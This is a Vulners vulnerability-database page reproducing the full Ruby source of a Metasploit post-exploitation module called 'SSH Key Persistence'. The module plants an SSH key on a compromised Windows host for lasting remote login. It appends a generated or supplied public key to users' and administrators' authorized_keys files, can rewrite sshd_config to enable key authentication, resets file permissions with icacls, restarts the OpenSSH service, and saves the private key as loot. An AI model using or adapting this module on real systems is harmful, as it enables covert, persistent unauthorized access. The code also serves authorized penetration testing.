Lucene search
K

SSH Key Persistence

🗓️ 05 Feb 2020 16:21:38Reported by Dean Welch <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 61 Views

This module adds an SSH key to allow remote login via SSH at any time on Windows

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'sshkey'

class MetasploitModule < Msf::Post
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Post::Windows::UserProfiles

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SSH Key Persistence',
        'Description' => %q{
          This module will add an SSH key to a specified user (or all), to allow
          remote login via SSH at any time.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Dean Welch <dean_welch[at]rapid7.com>'
        ],
        'Platform' => [ 'windows' ],
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_mkdir
              stdapi_fs_separator
            ]
          }
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [false, 'User to add SSH key to (Default: all users on box)' ]),
        OptPath.new('PUBKEY', [false, 'Public Key File to use. (Default: Create a new one)' ]),
        OptString.new('SSHD_CONFIG', [true, 'sshd_config file', 'C:\ProgramData\ssh\sshd_config' ]),
        OptString.new('ADMIN_KEY_FILE', [true, 'Admin key file', 'C:\ProgramData\ssh\administrators_authorized_keys' ]),
        OptBool.new('EDIT_CONFIG', [true, 'Edit ssh config to allow public key authentication', false ]),
        OptBool.new('ADMIN', [true, 'Add keys for administrator accounts', false ]),
        OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for a user', false ])
      ], self.class
    )
  end

  def run
    sep = separator

    sshd_config = read_file(datastore['SSHD_CONFIG'])

    print_status('Checking SSH Permissions')
    if !pub_key_auth_allowed?(sshd_config) && datastore['EDIT_CONFIG']
      enable_pub_key_auth(sshd_config)
    end

    auth_key_file = auth_key_file_name(sshd_config)

    print_status("Authorized Keys File: #{auth_key_file}")

    auth_key_folder = auth_key_file.split('/')[0...-1].join(sep)
    auth_key_file = auth_key_file.split('/')[-1]

    paths = []
    if datastore['USERNAME']
      grab_user_profiles.each do |profile|
        paths << "#{profile['ProfileDir']}#{sep}#{auth_key_folder}" if profile['UserName'] == datastore['USERNAME']
      end
    end

    if datastore['ADMIN'] # SSH keys for admin accounts are stored in a separate location
      admin_auth_key_folder = datastore['ADMIN_KEY_FILE'].split(sep)[0...-1].join(sep)
      admin_auth_key_file = datastore['ADMIN_KEY_FILE'].split(sep)[-1]

      print_status("Admin Authorized Keys File: #{admin_auth_key_file}")

      write_key([admin_auth_key_folder], admin_auth_key_file, sep)
    end

    if !datastore['USERNAME'] && !datastore['ADMIN']
      grab_user_profiles.each do |profile|
        paths << "#{profile['ProfileDir']}#{sep}#{auth_key_folder}"
      end
    end

    if datastore['CREATESSHFOLDER'] == true
      create_ssh_folder(paths)
    end

    paths = paths.select { |d| directory?(d) }
    unless paths.empty?
      write_key(paths, auth_key_file, sep)
    end

    restart_openssh
  end

  def enable_pub_key_auth(sshd_config)
    sshd_config = sshd_config.sub(/^.*(PubkeyAuthentication).*$/, 'PubkeyAuthentication yes')
    write_file(datastore['SSHD_CONFIG'], sshd_config)
  end

  def pub_key_auth_allowed?(sshd_config)
    /^PubkeyAuthentication\s+(?<pub_key>yes|no)/ =~ sshd_config
    if pub_key && pub_key == 'no'
      print_error('Pubkey Authentication disabled')
    elsif pub_key
      vprint_good("Pubkey set to #{pub_key}")
    end
  end

  def auth_key_file_name(sshd_config)
    %r{^AuthorizedKeysFile\s+(?<auth_key_file>[\w%/.]+)} =~ sshd_config
    if auth_key_file
      auth_key_file = auth_key_file.gsub('%h', '')
      auth_key_file = auth_key_file.gsub('%%', '%')
      if auth_key_file.start_with? '/'
        auth_key_file = auth_key_file[1..]
      end
    else
      auth_key_file = '.ssh/authorized_keys'
    end
    auth_key_file
  end

  def create_ssh_folder(paths)
    vprint_status("Attempting to create ssh folders that don't exist")
    paths.each do |p|
      unless directory?(p)
        print_status("Creating #{p} folder")
        session.fs.dir.mkdir(p)
      end
    end
  end

  def restart_openssh
    cmd_exec('net stop "OpenSSH SSH Server"')
    cmd_exec('net start "OpenSSH SSH Server"')
  end

  def set_pub_key_file_permissions(file)
    cmd_exec("icacls #{file} /inheritance:r")
    cmd_exec("icacls #{file} /grant SYSTEM:(F)")
    cmd_exec("icacls #{file} /grant BUILTIN\\Administrators:(F)")
  end

  def separator
    if session.type == 'meterpreter'
      sep = session.fs.file.separator
    else
      # Guess, but it's probably right
      sep = '\\'
    end
    sep
  end

  def write_key(paths, auth_key_file, sep)
    if datastore['PUBKEY'].nil?
      key = SSHKey.generate
      our_pub_key = key.ssh_public_key
      loot_path = store_loot('id_rsa', 'text/plain', session, key.private_key, 'ssh_id_rsa', 'OpenSSH Private Key File')
      print_good("Storing new private key as #{loot_path}")
    else
      our_pub_key = ::File.read(datastore['PUBKEY'])
    end
    paths.each do |path|
      path.chomp!
      authorized_keys = "#{path}#{sep}#{auth_key_file}"
      print_status("Adding key to #{authorized_keys}")
      append_file(authorized_keys, "\n#{our_pub_key}")
      print_good('Key Added')
      set_pub_key_file_permissions(authorized_keys)
      next unless datastore['PUBKEY'].nil?

      path_array = path.split(sep)
      path_array.pop
      user = path_array.pop
      credential_data = {
        origin_type: :session,
        session_id: session_db_id,
        post_reference_name: refname,
        private_type: :ssh_key,
        private_data: key.private_key.to_s,
        username: user,
        workspace_id: myworkspace_id
      }

      create_credential(credential_data)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 13:47Current
7High risk
Vulners AI Score7
61